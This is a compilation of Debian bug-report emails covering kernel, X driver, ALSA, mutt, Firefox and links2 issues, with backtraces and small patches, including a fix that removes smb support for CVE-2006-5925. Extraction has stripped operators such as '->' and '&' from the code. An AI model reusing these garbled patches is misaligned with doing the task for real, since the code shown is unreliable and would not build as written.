On Sat, Jul 07, 2007 at 07:28:50PM +0200, Filippo Giunchedi wrote: On Thu, Oct 19, 2006 at 12:27:14AM +0200, Moritz Muehlenhoff wrote: Filippo Giunchedi wrote: From what I can tell, when the user reaches the point where he cares about not having a default pin he can even change permissions. My rationale being that bluetooth is not meant to be used in an hostile environment, moreover the security features are rather weak FWIW. I don't think we need a DSA for this issue. I agree. Mikko: the /etc/bluetooth/passkeys dir has been reverted with 3.7-1 and is no longer present. Can I close this bug? Yes, it's ok. -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: fixed but no comments from upstream
On Sat, Jan 20, 2007 at 04:10:01AM +0200, Mikko Rapeli wrote: I'm hitting this every time I forget to close GPRS/Bluetooth connection before poweroff with 2.6.18-3-686 and vanilla 2.6.20rc4 too. http://bugzilla.kernel.org/show_bug.cgi?id=7509 My fix works for 2.6.22-rc5 and 2.6.18-4-686 but upstream has not approved or rejected this one liner yet: --- linux-2.6.22-rc5.orig/net/bluetooth/rfcomm/tty.c2007-07-01 14:20:00.0 +0300 +++ linux-2.6.22-rc5/net/bluetooth/rfcomm/tty.c 2007-07-01 13:55:35.0 +0300 @@ -395,6 +397,10 @@ if (req.flags (1 RFCOMM_HANGUP_NOW)) rfcomm_dlc_close(dev-dlc, 0); + /* Be nice and shut down tty(s) synchronously before +* freeing rfcomm_dev */ + if (dev-tty) tty_vhangup(dev-tty); + rfcomm_dev_del(dev); rfcomm_dev_put(dev); return 0; -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#403183: similar issue with SMC ethernet card seems to be fixed in 2.6.21.1
Well, this aint fixed in .21.1 after all. I was just lucky with the IRQ line being 5: On Sun, May 13, 2007 at 08:52:32PM +0300, Mikko Rapeli wrote: eth0: NE2000 Compatible: io 0x300, irq 5, hw_addr 00:04:E2:B7:6E:5D pccard: card ejected from slot 1 pccard: PCMCIA card inserted into slot 1 pcmcia: registering new device pcmcia1.0 eth0: NE2000 Compatible: io 0x300, irq 5, hw_addr 00:04:E2:B7:6E:5D pccard: card ejected from slot 1 pccard: PCMCIA card inserted into slot 1 pcmcia: registering new device pcmcia1.0 eth0: NE2000 Compatible: io 0x300, irq 5, hw_addr 00:04:E2:B7:6E:5D When the card is in place during boot, I always get irq 3 which is also used by the serial port: CPU0 0: 74146 XT-PIC timer 1:759 XT-PIC i8042 2: 0 XT-PIC cascade 3: 27439 XT-PIC pcnet_cs, serial 6: 5 XT-PIC floppy 8: 1 XT-PIC rtc 9:601 XT-PIC acpi, uhci_hcd:usb1, yenta, yenta, ESS Maestro 12:106 XT-PIC i8042 14: 5191 XT-PIC ide0 15:566 XT-PIC ide1 NMI: 0 LOC: 0 ERR: 0 MIS: 0 I got the this same problem with 2.6.8-3 from sarge, .18-4 from etch and .20.11 and .21.1 from upstream. In single user mode the serial driver is not used by irattach, so the interrupt line is free: CPU0 0: 19051 XT-PIC timer 1:151 XT-PIC i8042 2: 0 XT-PIC cascade 3:419 XT-PIC pcnet_cs 6: 3 XT-PIC floppy 8: 1 XT-PIC rtc 9:601 XT-PIC acpi, uhci_hcd:usb1, yenta, yenta, ESS Maestro 12:106 XT-PIC i8042 14: 1737 XT-PIC ide0 15: 63 XT-PIC ide1 NMI: 0 LOC: 0 ERR: 0 MIS: 0 Perhaps my problems are just hardware/ACPI trouble... -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#403183: similar issue with SMC ethernet card seems to be fixed in 2.6.21.1
Hello, I bumped to this issue too with an SMC 10/100 ethernet PCMCIA card when a sarge Lifebook got upgraded to etch. The card: PRODID_1= PRODID_2= PRODID_3= PRODID_4= MANFID=, FUNCID=255 PRODID_1=SMC PRODID_2=8041TX-10/100-PC-Card-V2 PRODID_3= PRODID_4= MANFID=01bf,8041 FUNCID=6 What seems strange is that the card works in single user mode, but stops working in runlevel 2 with transmit time out and lost interrupt messages until this Lifebook just hangs: May 8 22:40:21 luppakorva kernel: klogd 1.4.1#18, log source = /proc/kmsg started. May 8 22:40:21 luppakorva kernel: Linux version 2.6.18-4-686 (Debian 2.6.18.dfsg.1-12) ([EMAIL PROTECTED]) (gcc version 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 SMP Mon Mar 26 17:17:36 UTC 2007 May 8 22:40:21 luppakorva kernel: BIOS-provided physical RAM map: May 8 22:40:21 luppakorva kernel: BIOS-e820: - 0009fc00 (usable) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0009fc00 - 000a (reserved) May 8 22:40:21 luppakorva kernel: BIOS-e820: 000ea000 - 0010 (reserved) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0010 - 0bfe (usable) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0bfe - 0bfefc00 (ACPI data) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0bfefc00 - 0bff (ACPI NVS) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0bff - 0bff1000 (reserved) May 8 22:40:21 luppakorva kernel: BIOS-e820: 0bff1000 - 0c00 (usable) May 8 22:40:21 luppakorva kernel: BIOS-e820: fff0 - 0001 (reserved) May 8 22:40:21 luppakorva kernel: 0MB HIGHMEM available. May 8 22:40:21 luppakorva kernel: 192MB LOWMEM available. May 8 22:40:21 luppakorva kernel: On node 0 totalpages: 49152 May 8 22:40:21 luppakorva kernel: DMA zone: 4096 pages, LIFO batch:0 May 8 22:40:21 luppakorva kernel: Normal zone: 45056 pages, LIFO batch:15 May 8 22:40:21 luppakorva kernel: DMI 2.3 present. May 8 22:40:21 luppakorva kernel: ACPI: RSDP (v000 FUJ ) @ 0x000f66f0 May 8 22:40:21 luppakorva kernel: ACPI: RSDT (v001 FUJBISCAYNE 0x0109 FUJ 0x1000) @ 0x0bfeb990 May 8 22:40:21 luppakorva kernel: ACPI: FADT (v001 FUJBISCAYNE 0x0109 FUJ 0x1000) @ 0x0bfefb8c May 8 22:40:21 luppakorva kernel: ACPI: DSDT (v001 FUJBISCAYNE 0x0109 MSFT 0x0107) @ 0x May 8 22:40:21 luppakorva kernel: ACPI: PM-Timer IO Port: 0xff08 May 8 22:40:21 luppakorva kernel: Allocating PCI resources starting at 1000 (gap: 0c00:f3f0) May 8 22:40:21 luppakorva kernel: Detected 448.831 MHz processor. May 8 22:40:21 luppakorva kernel: Built 1 zonelists. Total pages: 49152 May 8 22:40:21 luppakorva kernel: Kernel command line: root=/dev/hda2 ro acpi=force May 8 22:40:21 luppakorva kernel: Local APIC disabled by BIOS -- you can enable it with lapic May 8 22:40:21 luppakorva kernel: mapped APIC to d000 (01189000) May 8 22:40:21 luppakorva kernel: Enabling fast FPU save and restore... done. May 8 22:40:21 luppakorva kernel: Enabling unmasked SIMD FPU exception support... done. May 8 22:40:21 luppakorva kernel: Initializing CPU#0 May 8 22:40:21 luppakorva kernel: PID hash table entries: 1024 (order: 10, 4096 bytes) May 8 22:40:21 luppakorva kernel: Console: colour VGA+ 80x25 May 8 22:40:21 luppakorva kernel: Dentry cache hash table entries: 32768 (order: 5, 131072 bytes) May 8 22:40:21 luppakorva kernel: Inode-cache hash table entries: 16384 (order: 4, 65536 bytes) May 8 22:40:21 luppakorva kernel: Memory: 187184k/196608k available (1544k kernel code, 8800k reserved, 577k data, 196k init, 0k highmem) May 8 22:40:21 luppakorva kernel: Checking if this processor honours the WP bit even in supervisor mode... Ok. May 8 22:40:21 luppakorva kernel: Calibrating delay using timer specific routine.. 898.49 BogoMIPS (lpj=1796982) May 8 22:40:21 luppakorva kernel: Security Framework v1.0.0 initialized May 8 22:40:21 luppakorva kernel: SELinux: Disabled at boot. May 8 22:40:21 luppakorva kernel: Capability LSM initialized May 8 22:40:21 luppakorva kernel: Mount-cache hash table entries: 512 May 8 22:40:21 luppakorva kernel: CPU: After generic identify, caps: 0383f9ff May 8 22:40:21 luppakorva kernel: CPU: After vendor identify, caps: 0383f9ff May 8 22:40:21 luppakorva kernel: CPU: L1 I cache: 16K, L1 D cache: 16K May 8 22:40:21 luppakorva kernel: CPU: L2 cache: 256K May 8 22:40:21 luppakorva kernel: CPU: After all inits, caps: 0383f9ff 0040 May 8 22:40:21 luppakorva kernel: Intel machine check architecture supported. May 8 22:40:21 luppakorva kernel: Intel machine check reporting enabled on CPU#0. May 8 22:40:21 luppakorva kernel: Compat
Bug#329350: mutt: segfault in imap_sync_mailbox
On Tue, Mar 06, 2007 at 01:11:34PM +0100, Christoph Berg wrote: Re: Mikko Rapeli 2005-09-21 [EMAIL PROTECTED] I was deleting attachments from a mail in IMAP inbox while the IMAP server closed the connection. Here's the backtrace: Hi Mikko, I'm just digging through Debian's mutt bug list. Can you still reproduce #329350 with recent mutt packages? No, I have not seen this in a while. Last core dump I have saved is for 1.5.9-2, dated 6/2006 and it shows some other issue: #0 0x08074409 in hdr_format_str (dest=0xbfffd720 , destlen=1024, op=110 'n', src=0x811257c%s, prefix=0xbfffdb20 -20.20, ifstring=0x0, elsestring=0x0, data=3221216224, flags=M_FORMAT_MAKEPRINT) at hdrline.c:495 #1 0x080a844b in mutt_FormatString ( dest=0xbfffdf20 - L- 55/0: Joey Hess, ' ' repeats 14 times, Re: security support for kernel-image-2.4.27-2-XXX discontinued?, destlen=1023, src=0x811257c%s, callback=0x8073bab hdr_format_str, data=3221216224, flags=M_FORMAT_MAKEPRINT) at muttlib.c:1084 #2 0x08074e77 in _mutt_make_string (dest=0x0, destlen=0, s=0x0, ctx=0x0, hdr=0x0, flags=0) at hdrline.c:717 #3 0x08086e07 in mutt_pager (banner=0x0, fname=0x1c Address 0x1c out of bounds, flags=66, extra=0xbfffe370) at pager.c:1739 #4 0x08057be1 in mutt_display_message (cur=0x817cc60) at commands.c:211 #5 0x08062f0e in mutt_index_menu () at curs_main.c:1175 #6 0x08079b17 in main (argc=1, argv=0xb714) at main.c:947 -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#410863: libasound2: cs46xx mic recording fix
Yes, similar patch is at least in alsa version control system: http://hg-mirror.alsa-project.org/alsa-lib?cs=148b8b81af35 -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#410863: libasound2: cs46xx mic recording fix
Package: libasound2 Version: 1.0.13-1 Severity: normal Tags: patch *** Please type your report below this line *** Recording sound on this Thinkpad t20 with chip Cirrus Logic CS 4614/22/24 and driver cs46xx doesn't seem to work with any tools without this little fix: --- /usr/share/alsa/cards/CS46xx.conf-orig 2007-02-14 00:46:42.0 +0200 +++ /usr/share/alsa/cards/CS46xx.conf 2007-02-14 00:47:05.0 +0200 @@ -33,7 +33,7 @@ type plug slave.pcm { @func concat - strings [ dsnoop: $CARD ] + strings [ hw: $CARD ] } } } which was suggested at http://forum.skype.com/index.php?s=8961aee47152cf0615c57e3766dcafcbshowtopic=66544st=0p=322503#entry322503 I can't seem to access alsa bug reports, but if this is in upstream or even sid, it would be nice to see it in etch too. -Mikko -- System Information: Debian Release: 4.0 APT prefers testing APT policy: (990, 'testing'), (500, 'unstable'), (500, 'stable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.18-3-686 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages libasound2 depends on: ii libc6 2.3.6.ds1-10 GNU C Library: Shared libraries libasound2 recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#404173: mozilla-firefox: sarge firefox javascript crash
On Wed, Jan 31, 2007 at 06:21:12PM +0100, Alexander Sack - Debian Bugmail wrote: You mention that 1.0.8 upstream does not crash ... does 1.0.4 crash. Can you try? I think I originally did try with 1.0.4 too, but I tried again: upstream 1.0.4 didn't crash while 1.0.4-2sarge13 did crash. The crash was not easy to reproduce over a slow DSL connection, but I gave both versions a few minutes of reloads and Flash dialog cancels. sarge13 core gives this backtrace: Loaded symbols for /usr/lib/mozilla-firefox/libnssckbi.so #0 0x401ab508 in raise () from /lib/tls/libpthread.so.0 (gdb) bt #0 0x401ab508 in raise () from /lib/tls/libpthread.so.0 #1 0x08c20a0a in nsProfileLock::FatalSignalHandler () #2 signal handler called #3 0x40142528 in nsCOMPtr_base::~nsCOMPtr_base () from /usr/lib/mozilla-firefox/libxpcom.so #4 0x08458b2c in nsPref::~nsPref () #5 0x4002a1a8 in JS_GetClass () from /usr/lib/mozilla-firefox/libmozjs.so #6 0x08468e4c in nsScriptSecurityManager::doGetObjectPrincipal () #7 0x08465dd3 in nsScriptSecurityManager::CheckPropertyAccessImpl () #8 0x08465222 in nsScriptSecurityManager::CheckObjectAccess () #9 0x084651a8 in nsScriptSecurityManager::CheckObjectAccess () #10 0x4006b9a7 in js_CheckAccess () from /usr/lib/mozilla-firefox/libmozjs.so #11 0x4006c0a5 in js_GetClassPrototype () from /usr/lib/mozilla-firefox/libmozjs.so #12 0x40059010 in js_Interpret () from /usr/lib/mozilla-firefox/libmozjs.so #13 0x400535ec in js_Execute () from /usr/lib/mozilla-firefox/libmozjs.so #14 0x4002de44 in JS_EvaluateUCScriptForPrincipals () from /usr/lib/mozilla-firefox/libmozjs.so #15 0x088c4bf2 in nsJSContext::EvaluateString () #16 0x0869827a in nsScriptLoader::EvaluateScript () #17 0x08697ef2 in nsScriptLoader::ProcessRequest () #18 0x08698605 in nsScriptLoader::ProcessPendingReqests () #19 0x083db6d5 in nsStreamLoader::Create () ---Type return to continue, or q return to quit--- #20 0x083db002 in nsServerSocketEvent::EventCleanup () #21 0x0842b10b in nsHttpChannel::GetCurrentPath () #22 0x083c94bd in nsInputStreamPump::OnStateStop () #23 0x083c9245 in nsInputStreamPump::EnsureWaiting () #24 0x40102c31 in nsInputStreamReadyEvent::EventHandler () from /usr/lib/mozilla-firefox/libxpcom.so #25 0x40119277 in PL_HandleEvent () from /usr/lib/mozilla-firefox/libxpcom.so #26 0x401191a4 in PL_ProcessPendingEvents () from /usr/lib/mozilla-firefox/libxpcom.so #27 0x4011ae39 in nsEventQueueImpl::NotifyObservers () from /usr/lib/mozilla-firefox/libxpcom.so #28 0x0856b6c5 in nsBaseWidget::FreeNativeData () #29 0x40615dbf in g_vasprintf () from /usr/lib/libglib-2.0.so.0 #30 0x405f0582 in g_main_depth () from /usr/lib/libglib-2.0.so.0 #31 0x405f15f8 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 #32 0x405f1930 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 #33 0x405f1ed3 in g_main_loop_run () from /usr/lib/libglib-2.0.so.0 #34 0x402d5bb3 in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0 #35 0x0856ba08 in nsAppShell::ReleaseGlobals () #36 0x08a16a64 in nsAppShellService::AttemptingQuit () #37 0x08c1c1e0 in xre_main () #38 0x0834c4c4 in main () -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#394742: 2.6.18-3-686 and 2.6.20rc4 crash too
I'm hitting this every time I forget to close GPRS/Bluetooth connection before poweroff with 2.6.18-3-686 and vanilla 2.6.20rc4 too. http://bugzilla.kernel.org/show_bug.cgi?id=7509 -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#404173: mozilla-firefox: sarge firefox javascript crash
Package: mozilla-firefox Version: 1.0.4-2sarge13 Severity: normal *** Please type your report below this line *** Firefox in sarge crashes when opening http://www.sonyericsson.com/spg.jsp?cc=filc=fiver=4000template=pp1zone=pplm=pp without flash and clicking cancel a few times on the 'flash required, get it?' dialog. Upstream Firefoxes 1.0.8, 1.5.0.9 and 2.0.0.1 didn't crash and just annoyed me with the dialog, which can not be cancelled. Workaround is to disable javascript. Backtrace 1: #0 0x401aa852 in raise () from /lib/tls/libpthread.so.0 #1 0x08c20a0a in nsProfileLock::FatalSignalHandler () #2 signal handler called #3 0x0018 in ?? () #4 0x4014352b in nsCOMPtr_base::~nsCOMPtr_base () from /usr/lib/mozilla-firefox/libxpcom.so #5 0x08458b2c in nsPref::~nsPref () #6 0x4002a1a8 in JS_GetClass () from /usr/lib/mozilla-firefox/libmozjs.so #7 0x08468e4c in nsScriptSecurityManager::doGetObjectPrincipal () #8 0x08465dd3 in nsScriptSecurityManager::CheckPropertyAccessImpl () #9 0x08465222 in nsScriptSecurityManager::CheckObjectAccess () #10 0x084651a8 in nsScriptSecurityManager::CheckObjectAccess () #11 0x4006b9a7 in js_CheckAccess () from /usr/lib/mozilla-firefox/libmozjs.so #12 0x4006c0a5 in js_GetClassPrototype () from /usr/lib/mozilla-firefox/libmozjs.so #13 0x40059010 in js_Interpret () from /usr/lib/mozilla-firefox/libmozjs.so #14 0x400535ec in js_Execute () from /usr/lib/mozilla-firefox/libmozjs.so #15 0x4002de44 in JS_EvaluateUCScriptForPrincipals () from /usr/lib/mozilla-firefox/libmozjs.so #16 0x088c4bf2 in nsJSContext::EvaluateString () #17 0x0869827a in nsScriptLoader::EvaluateScript () #18 0x08697ef2 in nsScriptLoader::ProcessRequest () #19 0x08698605 in nsScriptLoader::ProcessPendingReqests () #20 0x083db6d5 in nsStreamLoader::Create () #21 0x083db002 in nsServerSocketEvent::EventCleanup () #22 0x0842b10b in nsHttpChannel::GetCurrentPath () #23 0x083c94bd in nsInputStreamPump::OnStateStop () #24 0x083c9245 in nsInputStreamPump::EnsureWaiting () #25 0x40103c31 in nsInputStreamReadyEvent::EventHandler () from /usr/lib/mozilla-firefox/libxpcom.so #26 0x4011a277 in PL_HandleEvent () from /usr/lib/mozilla-firefox/libxpcom.so #27 0x4011a1a4 in PL_ProcessPendingEvents () from /usr/lib/mozilla-firefox/libxpcom.so #28 0x4011be39 in nsEventQueueImpl::NotifyObservers () from /usr/lib/mozilla-firefox/libxpcom.so #29 0x0856b6c5 in nsBaseWidget::FreeNativeData () #30 0x40611dbf in g_vasprintf () from /usr/lib/libglib-2.0.so.0 #31 0x405ec582 in g_main_depth () from /usr/lib/libglib-2.0.so.0 #32 0x405ed5f8 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 #33 0x405ed930 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0 #34 0x405eded3 in g_main_loop_run () from /usr/lib/libglib-2.0.so.0 #35 0x402d2bb3 in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0 #36 0x0856ba08 in nsAppShell::ReleaseGlobals () #37 0x08a16a64 in nsAppShellService::AttemptingQuit () #38 0x08c1c1e0 in xre_main () #39 0x0834c4c4 in main () Backtrace 2: #0 0x401aa852 in raise () from /lib/tls/libpthread.so.0 #1 0x08c20a0a in nsProfileLock::FatalSignalHandler () #2 signal handler called #3 0x0001 in ?? () #4 0x4014352b in nsCOMPtr_base::~nsCOMPtr_base () from /usr/lib/mozilla-firefox/libxpcom.so #5 0x08458b2c in nsPref::~nsPref () #6 0x4002a1a8 in JS_GetClass () from /usr/lib/mozilla-firefox/libmozjs.so #7 0x08468e4c in nsScriptSecurityManager::doGetObjectPrincipal () #8 0x08465dd3 in nsScriptSecurityManager::CheckPropertyAccessImpl () #9 0x08465222 in nsScriptSecurityManager::CheckObjectAccess () #10 0x084651a8 in nsScriptSecurityManager::CheckObjectAccess () #11 0x4006b9a7 in js_CheckAccess () from /usr/lib/mozilla-firefox/libmozjs.so #12 0x4006c0a5 in js_GetClassPrototype () from /usr/lib/mozilla-firefox/libmozjs.so #13 0x40059010 in js_Interpret () from /usr/lib/mozilla-firefox/libmozjs.so #14 0x400535ec in js_Execute () from /usr/lib/mozilla-firefox/libmozjs.so #15 0x4002de44 in JS_EvaluateUCScriptForPrincipals () from /usr/lib/mozilla-firefox/libmozjs.so #16 0x088c4bf2 in nsJSContext::EvaluateString () #17 0x0869827a in nsScriptLoader::EvaluateScript () #18 0x08697ef2 in nsScriptLoader::ProcessRequest () #19 0x08698605 in nsScriptLoader::ProcessPendingReqests () #20 0x083db6d5 in nsStreamLoader::Create () #21 0x083db002 in nsServerSocketEvent::EventCleanup () #22 0x0842b10b in nsHttpChannel::GetCurrentPath () #23 0x083c94bd in nsInputStreamPump::OnStateStop () #24 0x083c9245 in nsInputStreamPump::EnsureWaiting () #25 0x40103c31 in nsInputStreamReadyEvent::EventHandler () from /usr/lib/mozilla-firefox/libxpcom.so #26 0x4011a277 in PL_HandleEvent () from /usr/lib/mozilla-firefox/libxpcom.so #27 0x4011a1a4 in PL_ProcessPendingEvents () from /usr/lib/mozilla-firefox/libxpcom.so #28 0x4011be39 in nsEventQueueImpl::NotifyObservers () from /usr/lib/mozilla-firefox/libxpcom.so #29 0x0856b6c5 in nsBaseWidget::FreeNativeData () #30 0x40611dbf in g_vasprintf () from
Bug#397084: 1:2.1.1-4 from snapshot.debian.net works
Previous version of xserver-xorg-video-savage does not seem to have this bug, so downgrading to 1:2.1.1-4 is a workaround: http://snapshot.debian.net/package/xserver-xorg-video-savage -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#398860: savage: a fix for respawn crash regression
Hello, The savage driver some time a go started crashing when respawned from kdm et al. When MapMMIO and MapFB functions were merged to MapMem[1], one MapFB call in SavageScreenInit was not replaced with MapMem: http://gitweb.freedesktop.org/?p=xorg/driver/xf86-video-savage.git;a=commitdiff_plain;h=2f8352df6488476b0c1a46798eca5dd38827444b;hp=6f9abbb972834561cd8494a1d4fb47402b285d7d Here's a patch which fixes the issue. It works on my Thinkpad T20, though I don't really understand the details. -Mikko --- xserver-xorg-video-savage-2.1.2.orig/src/savage_driver.c +++ xserver-xorg-video-savage-2.1.2/src/savage_driver.c @@ -3088,6 +3088,9 @@ SavageEnableMMIO(pScrn); +if (!SavageMapMem(pScrn)) +return FALSE; + psav-FBStart2nd = 0; if (psav-overlayDepth) { -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#398642: links2 -g still doesn't work 2.1pre25-2, missing X support?
On Thu, Nov 30, 2006 at 07:05:07PM +0200, Mikko Rapeli wrote: Perhaps the configure script looks for XFree stuff and not for X11 or Xorg. Here's a fix that worked with manual build on my etch host: ~/src/links2-2.1pre25$ ./links -g -driver foobar Unknown graphics driver foobar. The following graphics drivers are supported: x, directfb, fb, svgalib --- links2-2.1pre25.orig/configure +++ links2-2.1pre25/configure @@ -6196,6 +6196,7 @@ /usr/X386/include \ /usr/x386/include \ /usr/XFree86/include/X11 \ +/usr/include/xorg \ \ /usr/include \ /usr/local/include\ @@ -6275,6 +6276,7 @@ /usr/X386/lib \ /usr/x386/lib \ /usr/XFree86/lib/X11 \ +/usr/lib/xorg \ \ /usr/lib \ /usr/local/lib\ -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#398642: links2 -g still doesn't work 2.1pre25-2, missing X support?
In xterm I only get: -- DirectFB v0.9.25 - (c) 2000-2002 convergence integrated media GmbH (c) 2002-2004 convergence GmbH --- (*) DirectFB/Core: Single Application Core. (2006-10-17 10:09) (*) Direct/Memcpy: Using MMXEXT optimized memcpy() (!) Direct/Util: opening '/dev/fb0' failed -- Permission denied (!) DirectFB/FBDev: Error opening framebuffer device! (!) DirectFB/FBDev: Use 'fbdev' option or set FRAMEBUFFER environment variable. (!) DirectFB/Core: Could not initialize 'system' core! -- Initialization error! svgalib: Cannot get I/O permissions. and: $ links2 -g -driver x Unknown graphics driver x. The following graphics drivers are supported: directfb, fb, svgalib Policy for links2 is: links2: Installed: 2.1pre25-2 Candidate: 2.1pre25-2 Version table: *** 2.1pre25-2 0 500 http://ftp.fi.debian.org sid/main Packages 100 /var/lib/dpkg/status 2.1pre24-1 0 990 http://ftp.fi.debian.org etch/main Packages 2.1pre16-1 0 500 http://ftp.fi.debian.org sarge/main Packages Sarge version works supports X on this etch box: $ apt-cache policy links2 links2: Installed: 2.1pre16-1 Candidate: 2.1pre24-1 Version table: 2.1pre25-2 0 500 http://ftp.fi.debian.org sid/main Packages 2.1pre24-1 0 990 http://ftp.fi.debian.org etch/main Packages *** 2.1pre16-1 0 500 http://ftp.fi.debian.org sarge/main Packages 100 /var/lib/dpkg/status $ links2 -g -driver xasdf Unknown graphics driver xasdf. The following graphics drivers are supported: x, directfb, fb, svgalib, sdl Is the missing X support a bug or a feature? -Mikko -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#398642: links2 -g still doesn't work 2.1pre25-2, missing X support?
On Thu, Nov 30, 2006 at 04:24:59PM +0100, Gürkan Sengün wrote: hello mikko it works here. can you tell me what echo $DISPLAY says in your xterm? there's already 2.1pre26-1, but also 25-1 and -2 should work again. $ echo $DISPLAY :1.0 i can not reproduce your problem. what x version do you have? what debian version? what kernel? what x driver? Latest etch. $ uname -r 2.6.19-rc5 is latest in my grub, since I'm debugging a Bluetooth crash too. X driver is savage. if x is missing, that's a bug. it's the one that i use most of the time. I think the problem is that links2 configure script doesn't find x. Shouldn't checking for X return yes in http://buildd.debian.org/fetch.cgi?pkg=links2ver=2.1pre25-2arch=powerpcstamp=1164797870file=log and when I build manually on i386? That's why links2 says it doesn't have graphics driver x support, I think: $ ./links -g -driver x Unknown graphics driver x. The following graphics drivers are supported: directfb, fb, svgalib Perhaps the configure script looks for XFree stuff and not for X11 or Xorg. -Mikko
Bug#400718: CVE-2006-5925: Links smb Protocol File Upload/Download Vulnerability
package: links2 severity: grave tags: security See bugs #399187 and #399188 for discussion. Patches in links and elinks converge towards removal of smb support. Attached patch is for sarge. -Mikko diff -u links2-2.1pre16/config.sub links2-2.1pre16/config.sub --- links2-2.1pre16/config.sub +++ links2-2.1pre16/config.sub @@ -1,9 +1,9 @@ #! /bin/sh # Configuration validation subroutine script. # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, -# 2000, 2001, 2002, 2003, 2004 Free Software Foundation, Inc. +# 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. -timestamp='2004-11-30' +timestamp='2005-04-22' # This file is (in principle) common to ALL GNU software. # The presence of a machine in this file suggests that SOME GNU software @@ -70,7 +70,7 @@ version=\ GNU config.sub ($timestamp) -Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004 +Copyright (C) 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005 Free Software Foundation, Inc. This is free software; see the source for copying conditions. There is NO @@ -231,13 +231,14 @@ | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ | am33_2.0 \ | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | bfin \ | c4x | clipper \ | d10v | d30v | dlx | dsp16xx \ | fr30 | frv \ | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ | i370 | i860 | i960 | ia64 \ | ip2k | iq2000 \ - | m32r | m32rle | m68000 | m68k | m88k | mcore \ + | m32r | m32rle | m68000 | m68k | m88k | maxq | mcore \ | mips | mipsbe | mipseb | mipsel | mipsle \ | mips16 \ | mips64 | mips64el \ @@ -262,7 +263,8 @@ | pyramid \ | sh | sh[1234] | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ | sh64 | sh64le \ - | sparc | sparc64 | sparc86x | sparclet | sparclite | sparcv8 | sparcv9 | sparcv9b \ + | sparc | sparc64 | sparc64b | sparc86x | sparclet | sparclite \ + | sparcv8 | sparcv9 | sparcv9b \ | strongarm \ | tahoe | thumb | tic4x | tic80 | tron \ | v850 | v850e \ @@ -298,7 +300,7 @@ | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ | avr-* \ - | bs2000-* \ + | bfin-* | bs2000-* \ | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ | clipper-* | craynv-* | cydra-* \ | d10v-* | d30v-* | dlx-* \ @@ -310,7 +312,7 @@ | ip2k-* | iq2000-* \ | m32r-* | m32rle-* \ | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ - | m88110-* | m88k-* | mcore-* \ + | m88110-* | m88k-* | maxq-* | mcore-* \ | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ | mips16-* \ | mips64-* | mips64el-* \ @@ -336,7 +338,8 @@ | romp-* | rs6000-* \ | sh-* | sh[1234]-* | sh[23]e-* | sh[34]eb-* | shbe-* \ | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ - | sparc-* | sparc64-* | sparc86x-* | sparclet-* | sparclite-* \ + | sparc-* | sparc64-* | sparc64b-* | sparc86x-* | sparclet-* \ + | sparclite-* \ | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ | tahoe-* | thumb-* \ | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ diff -u links2-2.1pre16/debian/changelog links2-2.1pre16/debian/changelog --- links2-2.1pre16/debian/changelog +++ links2-2.1pre16/debian/changelog @@ -1,3 +1,9 @@ +links2 